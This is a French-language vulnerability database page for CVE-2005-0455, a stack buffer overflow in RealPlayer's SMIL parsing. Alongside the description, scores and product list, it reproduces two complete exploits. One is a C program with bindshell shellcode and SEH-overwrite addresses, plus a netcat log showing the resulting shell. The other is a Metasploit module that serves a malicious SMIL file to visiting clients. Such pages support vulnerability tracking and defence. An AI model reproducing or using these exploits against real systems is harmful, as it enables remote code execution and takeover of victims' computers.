CVE-2005-0455 : Détail

CVE-2005-0455

55.85%V3
Network
2005-03-02
04h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Stack-based buffer overflow in the CSmil1Parser::testAttributeFailed function in smlparse.cpp for RealNetworks RealPlayer 10.5 (6.0.12.1056 and earlier), 10, 8, and RealOne Player V2 and V1 allows remote attackers to execute arbitrary code via a .SMIL file with a large system-screen-size value.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 863

Date de publication : 2005-03-06 23h00 +00:00
Auteur : nolimit
EDB Vérifié : Yes

/* RealPlayer .smil file buffer overflow Coded by nolimit@CiSO & Buzzdee greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget This uses a seh overwrite method, which takes advantage of the SEH being placed in multiple locations over the different OS's. Because of this, it should be completely universal. :). Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in. C:\tools>nc -vv SERVER 1554 SERVER [192.168.1.93] 1554 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Program Files\Real\RealPlayer> */ #include <stdio.h> #include <stdlib.h> #include <string.h> char pre[]= "<smil>\n" " <head>\n" " <layout>\n" " <region id=\"a\" top=\"5\" />\n" " </layout>\n" " </head>\n" " <body>\n" " <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\""; char shellcode[]= /* bindshell port 13579 thx to metasploit.com :) restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e, 0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */ "\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f" "\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a" "\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e" "\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4" "\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1" "\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99" "\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5" "\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b" "\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7" "\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3" "\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a" "\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e" "\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4" "\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed" "\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62" "\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8" "\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76" "\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7" "\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84" "\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a" "\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed" "\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85"; char end[]= " </body>" "</smil>"; char overflow[1700]; int main(int argc,char *argv[]) { FILE *vuln; if(argc == 1) { printf("RealPlayer 10 .smil file local buffer overflow.\n"); printf("Coded by nolimit & buzzdee.\n"); printf("Usage: %s <outputfile>\n",argv[0]); return 1; } vuln = fopen(argv[1],"w"); //build overflow buffer here. memset(overflow,0x90,sizeof(overflow)); //fill with nops memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret) memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^) memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in if(vuln) { //Write file fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end); fclose(vuln); } printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n"); return 0; } // milw0rm.com [2005-03-07]
Exploit Database EDB-ID : 16586

Date de publication : 2010-05-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8. By creating a URL link to a malicious SMIL file, a remote attacker could overflow a buffer and execute arbitrary code. When using this module, be sure to set the URIPATH with an extension of '.smil'. This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8 build 6.0.9.584. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-0455' ], [ 'OSVDB', '14305'], [ 'BID', '12698' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ], [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 1 2005', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) cruft = rand_text_alpha_upper(1) bleh = rand_text_alpha_upper(11) sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V') sploit << [0xe8, -485].pack('CV') # Build the HTML content content = "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>" content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Realnetworks>>Realone_player >> Version 1.0

Realnetworks>>Realone_player >> Version 2.0

Realnetworks>>Realplayer >> Version 8.0

Realnetworks>>Realplayer >> Version 8.0

    Realnetworks>>Realplayer >> Version 10.0

    Realnetworks>>Realplayer >> Version 10.0_6.0.12.690

    Realnetworks>>Realplayer >> Version 10.0_beta

      Realnetworks>>Realplayer >> Version 10.5

      Realnetworks>>Realplayer >> Version 10.5_6.0.12.1016_beta

        Realnetworks>>Realplayer >> Version 10.5_6.0.12.1040

        Realnetworks>>Realplayer >> Version 10.5_6.0.12.1053

          Références

          http://www.redhat.com/support/errata/RHSA-2005-271.html
          Tags : vendor-advisory, x_refsource_REDHAT
          http://www.redhat.com/support/errata/RHSA-2005-265.html
          Tags : vendor-advisory, x_refsource_REDHAT